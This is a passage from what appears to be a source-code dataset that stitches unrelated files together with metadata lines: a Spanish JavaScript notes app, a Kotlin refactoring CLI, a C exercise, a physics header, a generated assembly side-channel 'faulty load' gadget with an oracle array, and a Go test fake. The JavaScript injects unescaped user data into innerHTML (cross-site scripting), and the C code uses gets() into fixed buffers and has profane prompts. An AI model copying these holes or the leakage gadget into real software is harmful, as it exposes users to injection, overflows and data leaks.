xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
/* Muestra todos los registros de la base de datos (sin filtrar y filtrados) */
function read() {
var section = document.getElementById('section-3');
var buscador = document.getElementById('searchNote').value;
var token = document.getElementById('token').getAttribute('content');
var ajax = new objetoAjax();
ajax.open('POST', 'read', true);
var datasend = new FormData();
datasend.append('filtro', buscador);
datasend.append('_token', token)
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
var respuesta = JSON.parse(ajax.responseText);
var tabla = '';
tabla += '<table class="table table-light">';
tabla += '<thead>';
tabla += '<tr class="thead-dark">';
/* tabla += '<th>Id</th>'; */
tabla += '<th>Título</th>';
tabla += '<th>Descripción</th>';
tabla += '<th>Actualizar</th>';
tabla += '<th>Borrar</th>';
tabla += '</tr>';
tabla += '</thead>';
tabla += '<tbody>';
for (let i = 0; i < respuesta.length; i++) {
//const element = array[i];
tabla += '<tr>';
/* tabla += '<td>' + respuesta[i].id + '</td>'; */
tabla += '<td>' + respuesta[i].title + '</td>';
tabla += '<td>' + respuesta[i].description + '</td>';
tabla += '<td><button class="btn btn-primary" onclick="openmodal(' + respuesta[i].id + ','' + respuesta[i].title + '','' + respuesta[i].description + '')">Actualizar</button></td>';
tabla += '<td><button class="btn btn-danger" onclick="eliminar(' + respuesta[i].id + ')" type="submit">Borrar</button></td>';
tabla += '</tr>';
}
tabla += '</tbody>';
tabla += '</table>';
section.innerHTML = tabla;
}
}
ajax.send(datasend);
}
/* Actualiza el campo favorito de un pokemon en la base de datos */
function create() {
var token = document.getElementById('token').getAttribute('content');
var ajax = new objetoAjax();
var title = document.getElementById('title').value;
var description = document.getElementById('description').value;
var mensaje = document.getElementById('mensaje');
ajax.open('POST', 'create', true);
var datasend = new FormData();
datasend.append('title', title)
datasend.append('description', description)
datasend.append('_token', token)
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
var respuesta = JSON.parse(ajax.responseText);
if (respuesta.resultado == 'OK') {
mensaje.innerHTML = 'Se ha añadido la nota correctamente';
setTimeout(function() {
mensaje.innerHTML = 'Aquí verás las últimas modificaciones...';
document.getElementById('forminsert').reset();
}, 2000);
read();
} else {
mensaje.innerHTML = 'Ha ocurrido un error. ' + respuesta.resultado;
}
}
}
ajax.send(datasend);
}
function eliminar(id) {
var token = document.getElementById('token').getAttribute('content');
var ajax = new objetoAjax();
var mensaje = document.getElementById('mensaje');
ajax.open('POST', 'delete', true);
var datasend = new FormData();
datasend.append('id', id)
datasend.append('_token', token)
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
var respuesta = JSON.parse(ajax.responseText);
if (respuesta.resultado == 'OK') {
mensaje.innerHTML = 'Se ha eliminado la nota correctamente';
setTimeout(function() {
mensaje.innerHTML = 'Aquí verás las últimas modificaciones...';
}, 2000);
read();
} else {
mensaje.innerHTML = 'Ha ocurrido un error. ' + respuesta.resultado;
}
}
}
ajax.send(datasend);
}
function actualizar() {
//poner variables dentro de la funcion function actualizar(id,title,description)
var token = document.getElementById('token').getAttribute('content');
var ajax = new objetoAjax();
var id = document.getElementById('id').value;
var title = document.getElementById('titlee').value;
var description = document.getElementById('descriptionn').value;
console.log(id);
console.log(title);
console.log(description);
var mensaje = document.getElementById('mensaje');
ajax.open('POST', 'update', true);
var datasend = new FormData();
datasend.append('id', id)
datasend.append('title', title)
datasend.append('description', description)
datasend.append('_token', token)
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
var respuesta = JSON.parse(ajax.responseText);
if (respuesta.resultado == 'OK') {
mensaje.innerHTML = 'Se ha actualizado correctamente';
setTimeout(function() {
mensaje.innerHTML = 'Aquí verás las últimas modificaciones...';
}, 2000);
read();
} else {
mensaje.innerHTML = 'Ha ocurrido un error. ' + respuesta.resultado;
}
closeModal();
}
}
ajax.send(datasend);
}
function openmodal(id, titulo, desc) {
form = document.getElementById("formm");
form.setAttribute("method", "post");
form.setAttribute("onsubmit", "actualizar(); return false;");
//form.setAttribute("onsubmit", "actualizar(" + id + "," + titulo + "," + desc + "); return false;");
form.setAttribute("class", "border p-3 form");
div = document.createElement('DIV');
div.setAttribute("class", "form-group")
label = document.createElement('LABEL');
label.innerHTML = "Título";
input = document.createElement('INPUT');
input.setAttribute("value", titulo)
input.setAttribute("type", "text")
input.setAttribute("name", "title")
input.setAttribute("id", "titlee")
input.setAttribute("class", "form-control")
input0 = document.createElement('INPUT');
input0.setAttribute("value", id)
input0.setAttribute("type", "hidden")
input0.setAttribute("name", "id")
input0.setAttribute("id", "id")
input0.setAttribute("class", "form-control")
div1 = document.createElement('DIV');
div1.setAttribute("class", "form-group")
label1 = document.createElement('LABEL');
label1.innerHTML = "Descripción";
input1 = document.createElement('INPUT');
input1.setAttribute("value", desc)
input1.setAttribute("type", "text")
input1.setAttribute("name", "description")
input1.setAttribute("id", "descriptionn")
input1.setAttribute("class", "form-control")
btn = document.createElement('input');
btn.setAttribute("type", "submit")
btn.setAttribute("class", "btn btn-primary")
btn.setAttribute("value", "Actualizar")
form.appendChild(div);
div.appendChild(label);
div.appendChild(input);
div.appendChild(input0);
form.appendChild(div1);
div1.appendChild(label1);
div1.appendChild(input1);
form.appendChild(btn);
//document.getElementById("content").innerHTML += '<form action="{{url(' + info + '.$nota->' + id + ')}}" method="post"><label>Título</label><br><input type="text" id="title" name="title" value="' + titulo + '"></br><label>Descripción</label><br><input type="text" id="description" name="description" value="' + desc + '"><br><input type="submit" class="btn-outline-primary" value="Crear"></form>';
//document.getElementById("content").innerHTML += '<label>Título </label>';
//document.getElementById("content").innerHTML += '<input type="text" id="title" name="title" value="' + titulo + '"></br>';
//document.getElementById("content").innerHTML += '<label>Descripción</label>';
//document.getElementById("content").innerHTML += '<input type="text" id="description" name="description" value="' + desc + '"><br>';
//document.getElementById("content").innerHTML += '<input type="submit" class="btn-outline-primary" value="Crear">';
modal.style.display = "block";
}
function closeModal() {
modal.style.display = "none";
document.getElementById("formm").removeChild(div)
document.getElementById("formm").removeChild(div1)
document.getElementById("formm").removeChild(btn)
}
window.onclick = function(event) {
if (event.target == modal) {
modal.style.display = "none";
document.getElementById("formm").removeChild(div)
document.getElementById("formm").removeChild(div1)
document.getElementById("formm").removeChild(btn)
}
}
/* comillas en envío de variables de entrada en funciones JS: ' */
/* EX:
1. filtro favoritos
2. liberar pokémons (quitar la imagen)
*/ | 38.103175 | 402 | 0.595189 |
b6fa3f44b306e7c858d5dfa5405b46e027f58252 | 3,704 | kt | Kotlin | reboot-core/src/main/kotlin/nl/thanus/reboot/ReBoot.kt | Keso-Rupert/reboot | c0e45d0401d02de55c37c1cf4e8dfd40f4fb39fb | [
"Apache-2.0"
] | 64 | 2019-10-18T08:04:53.000Z | 2022-03-08T03:14:38.000Z | reboot-core/src/main/kotlin/nl/thanus/reboot/ReBoot.kt | thanus/rewriting | c0e45d0401d02de55c37c1cf4e8dfd40f4fb39fb | [
"Apache-2.0"
] | 6 | 2020-02-20T23:12:38.000Z | 2020-04-01T14:19:40.000Z | reboot-core/src/main/kotlin/nl/thanus/reboot/ReBoot.kt | thanus/rewriting | c0e45d0401d02de55c37c1cf4e8dfd40f4fb39fb | [
"Apache-2.0"
] | 3 | 2020-02-18T08:05:25.000Z | 2020-11-20T01:42:56.000Z | package nl.thanus.reboot
import com.github.ajalt.clikt.core.CliktCommand
import com.github.ajalt.clikt.parameters.arguments.argument
import com.github.ajalt.clikt.parameters.options.multiple
import com.github.ajalt.clikt.parameters.options.option
import com.github.ajalt.clikt.parameters.types.enum
import com.github.javaparser.ast.CompilationUnit
import com.github.javaparser.printer.lexicalpreservation.LexicalPreservingPrinter
import com.github.javaparser.symbolsolver.utils.SymbolSolverCollectionStrategy
import com.github.javaparser.utils.SourceRoot
import mu.KotlinLogging
import nl.thanus.reboot.refactoring.rewriteAutowiredFieldInjections
import nl.thanus.reboot.refactoring.rewriteMockitoFieldInjections
import nl.thanus.reboot.refactoring.rewriteRequestMappings
import nl.thanus.reboot.refactoring.rewriteWebAnnotations
import java.nio.file.Paths
private val logger = KotlinLogging.logger { }
class ReBoot : CliktCommand() {
private val location by argument(help = "Location of project that will be ReBooting")
private val excludedRefactorings: List<Refactoring> by option("--excluded", "-e", help = """
Refactorings you want ReBoot to exclude, e.g. -e request-mappings -e web-annotations -e autowired-field-injection
-e mockito-field-injection
""".trimIndent()).enum<Refactoring>(key = { it.refactoring }).multiple()
override fun run() {
logger.info { "ReBooting $location" }
parseAndReBoot(location, excludedRefactorings)
logger.info { "ReBooting completed" }
}
}
fun main(args: Array<String>) {
ReBoot().main(args)
}
private fun parseAndReBoot(location: String, excludedRefactorings: List<Refactoring>) {
val projectRoot = SymbolSolverCollectionStrategy().collect(Paths.get(location))
val (srcRoot, testRoot) = projectRoot.sourceRoots.partition { it.root.toAbsolutePath().toString().contains("/src/") }
fun parseSourceRootsAndReBoot(sourceRoots: List<SourceRoot>) {
sourceRoots.forEach { sourceRoot ->
sourceRoot.parse("") { _, _, result ->
val compilationUnit = result.result
compilationUnit.ifPresent { reboot(it, excludedRefactorings) }
sourceRoot.setPrinter { LexicalPreservingPrinter.print(it) }
SourceRoot.Callback.Result.SAVE
}
}
}
parseSourceRootsAndReBoot(srcRoot)
parseSourceRootsAndReBoot(testRoot)
}
private fun reboot(compilationUnit: CompilationUnit, excludedRefactorings: List<Refactoring>) {
LexicalPreservingPrinter.setup(compilationUnit)
try {
if (Refactoring.AUTOWIRED_FIELD_INJECTION !in excludedRefactorings) {
rewriteAutowiredFieldInjections(compilationUnit)
}
if (Refactoring.MOCKITO_FIELD_INJECTION !in excludedRefactorings) {
rewriteMockitoFieldInjections(compilationUnit)
}
if (Refactoring.REQUEST_MAPPINGS !in excludedRefactorings) {
rewriteRequestMappings(compilationUnit)
}
if (Refactoring.WEB_ANNOTATIONS !in excludedRefactorings) {
rewriteWebAnnotations(compilationUnit)
}
} catch (e: UnsupportedOperationException) {
compilationUnit.storage.ifPresent {
logger.warn { "Lexical preserving failed on ${it.directory}/${it.fileName}" }
logger.debug(e) { "Lexical preserving failed with ${e.message} on ${it.directory}/${it.fileName}" }
}
}
}
enum class Refactoring(val refactoring: String) {
REQUEST_MAPPINGS("request-mappings"),
WEB_ANNOTATIONS("web-annotations"),
AUTOWIRED_FIELD_INJECTION("autowired-field-injection"),
MOCKITO_FIELD_INJECTION("mockito-field-injection")
}
| 41.617978 | 122 | 0.731371 |
b1b636f69ad450e458aa8a0155c9f596efccc01c | 888 | c | C | A.S. 2017-2018/Compiti 24:03:2018/Analizzatore di nomi inseriti/main.c | MarcoBuster/ITIS | 1c5f627f4f48898a5dd05746a71372a425cd6bc0 | [
"MIT"
] | 5 | 2017-10-12T20:32:37.000Z | 2018-01-22T16:42:29.000Z | A.S. 2017-2018/Compiti 24:03:2018/Analizzatore di nomi inseriti/main.c | MarcoBuster/ITIS | 1c5f627f4f48898a5dd05746a71372a425cd6bc0 | [
"MIT"
] | null | null | null | A.S. 2017-2018/Compiti 24:03:2018/Analizzatore di nomi inseriti/main.c | MarcoBuster/ITIS | 1c5f627f4f48898a5dd05746a71372a425cd6bc0 | [
"MIT"
] | null | null | null | #include <stdio.h>
#include <string.h>
/*
* TODO:
* quanti nomi
* nome più lungo
* ordine alfabetico
*/
int main() {
char input[100][100];
int i;
int count, longest = 0, longest_index = 0;
for (i=0; i<100 && input[i - 1][0] != '*'; i++) {
printf("\nInserisci nome (dio porco): ");
gets(input[i]);
}
count = i - 2;
printf("\nNomi inseriti: %d", count);
for (i = 0; i < count; i++) {
if (strlen(input[i]) > longest) {
longest = (int) strlen(input[i]);
longest_index = i;
}
}
printf("\nNome più lungo inserito (dio cane): ");
puts(input[longest_index]);
printf("[debug]: alfabeto italiano (dio cane)");
for (i=65; i<90; i++) {
printf("%c", (char) i);
}
for (i=0; i<count; i++) {
printf("%d. ", i);
puts(input[i]);
}
return 0;
} | 20.651163 | 53 | 0.48536 |
fb3c425f6c920fa1f759c6f19927f1791f6b1dcc | 1,561 | h | C | optickscore/OpticksPhoton.h | seriksen/opticks | 2173ea282bdae0bbd1abf4a3535bede334413ec1 | [
"Apache-2.0"
] | 1 | 2020-05-13T06:55:49.000Z | 2020-05-13T06:55:49.000Z | optickscore/OpticksPhoton.h | seriksen/opticks | 2173ea282bdae0bbd1abf4a3535bede334413ec1 | [
"Apache-2.0"
] | null | null | null | optickscore/OpticksPhoton.h | seriksen/opticks | 2173ea282bdae0bbd1abf4a3535bede334413ec1 | [
"Apache-2.0"
] | null | null | null | /*
* Copyright (c) 2019 Opticks Team. All Rights Reserved.
*
* This file is part of Opticks
* (see https://bitbucket.org/simoncblyth/opticks).
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
enum
{
CERENKOV = 0x1 << 0,
SCINTILLATION = 0x1 << 1,
MISS = 0x1 << 2,
BULK_ABSORB = 0x1 << 3,
BULK_REEMIT = 0x1 << 4,
BULK_SCATTER = 0x1 << 5,
SURFACE_DETECT = 0x1 << 6,
SURFACE_ABSORB = 0x1 << 7,
SURFACE_DREFLECT = 0x1 << 8,
SURFACE_SREFLECT = 0x1 << 9,
BOUNDARY_REFLECT = 0x1 << 10,
BOUNDARY_TRANSMIT = 0x1 << 11,
TORCH = 0x1 << 12,
NAN_ABORT = 0x1 << 13,
G4GUN = 0x1 << 14,
FABRICATED = 0x1 << 15,
NATURAL = 0x1 << 16,
MACHINERY = 0x1 << 17,
EMITSOURCE = 0x1 << 18,
PRIMARYSOURCE = 0x1 << 19,
GENSTEPSOURCE = 0x1 << 20
};
// only ffs 0-15 make it into the record so debug flags only beyond 15
| 30.019231 | 77 | 0.585522 |
b24ce946cba71078529160208ddab441710b6c2d | 6,884 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_501.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_501.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_501.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xca91, %rsi
lea addresses_A_ht+0x1c241, %rdi
add %rbp, %rbp
mov $24, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_D_ht+0x141e9, %r11
nop
nop
nop
nop
nop
inc %r15
movw $0x6162, (%r11)
inc %r15
lea addresses_WC_ht+0x19251, %r11
nop
nop
xor $30543, %rbp
mov $0x6162636465666768, %r15
movq %r15, (%r11)
nop
nop
xor $38856, %rdx
lea addresses_normal_ht+0x1691, %rdx
nop
add %rcx, %rcx
mov (%rdx), %r11d
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x7d2d, %rbp
clflush (%rbp)
nop
cmp $4415, %rdx
mov (%rbp), %ecx
nop
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_WT_ht+0x16311, %rsi
lea addresses_A_ht+0x26b, %rdi
clflush (%rdi)
nop
nop
add %r8, %r8
mov $13, %rcx
rep movsq
nop
xor $62701, %rsi
lea addresses_WT_ht+0x11e91, %rcx
add $35918, %r11
and $0xffffffffffffffc0, %rcx
movntdqa (%rcx), %xmm6
vpextrq $0, %xmm6, %rdx
nop
nop
nop
nop
nop
xor %rbp, %rbp
lea addresses_WT_ht+0x1dea6, %rsi
lea addresses_UC_ht+0xc811, %rdi
nop
nop
nop
nop
inc %rbp
mov $76, %rcx
rep movsb
nop
nop
nop
dec %rsi
lea addresses_normal_ht+0x17211, %rdx
nop
nop
nop
nop
nop
sub %r8, %r8
and $0xffffffffffffffc0, %rdx
vmovaps (%rdx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r15
nop
nop
sub $4991, %rbp
lea addresses_normal_ht+0x16357, %rsi
lea addresses_D_ht+0x6911, %rdi
dec %rbp
mov $27, %rcx
rep movsq
nop
nop
and $15550, %rdi
lea addresses_WT_ht+0x12611, %rsi
lea addresses_UC_ht+0xad71, %rdi
nop
nop
nop
nop
nop
add $13200, %r8
mov $91, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp $42040, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %rax
push %rdi
push %rdx
// Faulty Load
lea addresses_D+0x1fe91, %r14
xor $48936, %rdx
movups (%r14), %xmm4
vpextrq $1, %xmm4, %rdi
lea oracles, %rdx
and $0xff, %rdi
shlq $12, %rdi
mov (%rdx,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rax
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 4, 'AVXalign': True, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 36.617021 | 2,999 | 0.661534 |
dda18707b174bf35d646f30590c4df82fc378209 | 26,202 | go | Go | cf/terminal/terminalfakes/fake_ui.go | heyjcollins/cli | a9dc02860cef013b7c373613416f25800926ce3b | [
"Apache-2.0"
] | 1,624 | 2015-01-03T00:52:09.000Z | 2022-03-29T18:39:10.000Z | cf/terminal/terminalfakes/fake_ui.go | heyjcollins/cli | a9dc02860cef013b7c373613416f25800926ce3b | [
"Apache-2.0"
] | 1,946 | 2015-01-04T03:22:41.000Z | 2022-03-29T17:26:43.000Z | cf/terminal/terminalfakes/fake_ui.go | heyjcollins/cli | a9dc02860cef013b7c373613416f25800926ce3b | [
"Apache-2.0"
] | 869 | 2015-01-05T12:58:38.000Z | 2022-03-12T07:50:53.000Z | // Code generated by counterfeiter. DO NOT EDIT.
package terminalfakes
import (
"io"
"sync"
"code.cloudfoundry.org/cli/cf/configuration/coreconfig"
"code.cloudfoundry.org/cli/cf/terminal"
)
type FakeUI struct {
AskStub func(string) string
askMutex sync.RWMutex
askArgsForCall []struct {
arg1 string
}
askReturns struct {
result1 string
}
askReturnsOnCall map[int]struct {
result1 string
}
AskForPasswordStub func(string) string
askForPasswordMutex sync.RWMutex
askForPasswordArgsForCall []struct {
arg1 string
}
askForPasswordReturns struct {
result1 string
}
askForPasswordReturnsOnCall map[int]struct {
result1 string
}
ConfirmStub func(string) bool
confirmMutex sync.RWMutex
confirmArgsForCall []struct {
arg1 string
}
confirmReturns struct {
result1 bool
}
confirmReturnsOnCall map[int]struct {
result1 bool
}
ConfirmDeleteStub func(string, string) bool
confirmDeleteMutex sync.RWMutex
confirmDeleteArgsForCall []struct {
arg1 string
arg2 string
}
confirmDeleteReturns struct {
result1 bool
}
confirmDeleteReturnsOnCall map[int]struct {
result1 bool
}
ConfirmDeleteWithAssociationsStub func(string, string) bool
confirmDeleteWithAssociationsMutex sync.RWMutex
confirmDeleteWithAssociationsArgsForCall []struct {
arg1 string
arg2 string
}
confirmDeleteWithAssociationsReturns struct {
result1 bool
}
confirmDeleteWithAssociationsReturnsOnCall map[int]struct {
result1 bool
}
FailedStub func(string, ...interface{})
failedMutex sync.RWMutex
failedArgsForCall []struct {
arg1 string
arg2 []interface{}
}
LoadingIndicationStub func()
loadingIndicationMutex sync.RWMutex
loadingIndicationArgsForCall []struct {
}
NotifyUpdateIfNeededStub func(coreconfig.Reader)
notifyUpdateIfNeededMutex sync.RWMutex
notifyUpdateIfNeededArgsForCall []struct {
arg1 coreconfig.Reader
}
OkStub func()
okMutex sync.RWMutex
okArgsForCall []struct {
}
PrintCapturingNoOutputStub func(string, ...interface{})
printCapturingNoOutputMutex sync.RWMutex
printCapturingNoOutputArgsForCall []struct {
arg1 string
arg2 []interface{}
}
PrintPaginatorStub func([]string, error)
printPaginatorMutex sync.RWMutex
printPaginatorArgsForCall []struct {
arg1 []string
arg2 error
}
SayStub func(string, ...interface{})
sayMutex sync.RWMutex
sayArgsForCall []struct {
arg1 string
arg2 []interface{}
}
ShowConfigurationStub func(coreconfig.Reader) error
showConfigurationMutex sync.RWMutex
showConfigurationArgsForCall []struct {
arg1 coreconfig.Reader
}
showConfigurationReturns struct {
result1 error
}
showConfigurationReturnsOnCall map[int]struct {
result1 error
}
TableStub func([]string) *terminal.UITable
tableMutex sync.RWMutex
tableArgsForCall []struct {
arg1 []string
}
tableReturns struct {
result1 *terminal.UITable
}
tableReturnsOnCall map[int]struct {
result1 *terminal.UITable
}
WarnStub func(string, ...interface{})
warnMutex sync.RWMutex
warnArgsForCall []struct {
arg1 string
arg2 []interface{}
}
WriterStub func() io.Writer
writerMutex sync.RWMutex
writerArgsForCall []struct {
}
writerReturns struct {
result1 io.Writer
}
writerReturnsOnCall map[int]struct {
result1 io.Writer
}
invocations map[string][][]interface{}
invocationsMutex sync.RWMutex
}
func (fake *FakeUI) Ask(arg1 string) string {
fake.askMutex.Lock()
ret, specificReturn := fake.askReturnsOnCall[len(fake.askArgsForCall)]
fake.askArgsForCall = append(fake.askArgsForCall, struct {
arg1 string
}{arg1})
fake.recordInvocation("Ask", []interface{}{arg1})
fake.askMutex.Unlock()
if fake.AskStub != nil {
return fake.AskStub(arg1)
}
if specificReturn {
return ret.result1
}
fakeReturns := fake.askReturns
return fakeReturns.result1
}
func (fake *FakeUI) AskCallCount() int {
fake.askMutex.RLock()
defer fake.askMutex.RUnlock()
return len(fake.askArgsForCall)
}
func (fake *FakeUI) AskCalls(stub func(string) string) {
fake.askMutex.Lock()
defer fake.askMutex.Unlock()
fake.AskStub = stub
}
func (fake *FakeUI) AskArgsForCall(i int) string {
fake.askMutex.RLock()
defer fake.askMutex.RUnlock()
argsForCall := fake.askArgsForCall[i]
return argsForCall.arg1
}
func (fake *FakeUI) AskReturns(result1 string) {
fake.askMutex.Lock()
defer fake.askMutex.Unlock()
fake.AskStub = nil
fake.askReturns = struct {
result1 string
}{result1}
}
func (fake *FakeUI) AskReturnsOnCall(i int, result1 string) {
fake.askMutex.Lock()
defer fake.askMutex.Unlock()
fake.AskStub = nil
if fake.askReturnsOnCall == nil {
fake.askReturnsOnCall = make(map[int]struct {
result1 string
})
}
fake.askReturnsOnCall[i] = struct {
result1 string
}{result1}
}
func (fake *FakeUI) AskForPassword(arg1 string) string {
fake.askForPasswordMutex.Lock()
ret, specificReturn := fake.askForPasswordReturnsOnCall[len(fake.askForPasswordArgsForCall)]
fake.askForPasswordArgsForCall = append(fake.askForPasswordArgsForCall, struct {
arg1 string
}{arg1})
fake.recordInvocation("AskForPassword", []interface{}{arg1})
fake.askForPasswordMutex.Unlock()
if fake.AskForPasswordStub != nil {
return fake.AskForPasswordStub(arg1)
}
if specificReturn {
return ret.result1
}
fakeReturns := fake.askForPasswordReturns
return fakeReturns.result1
}
func (fake *FakeUI) AskForPasswordCallCount() int {
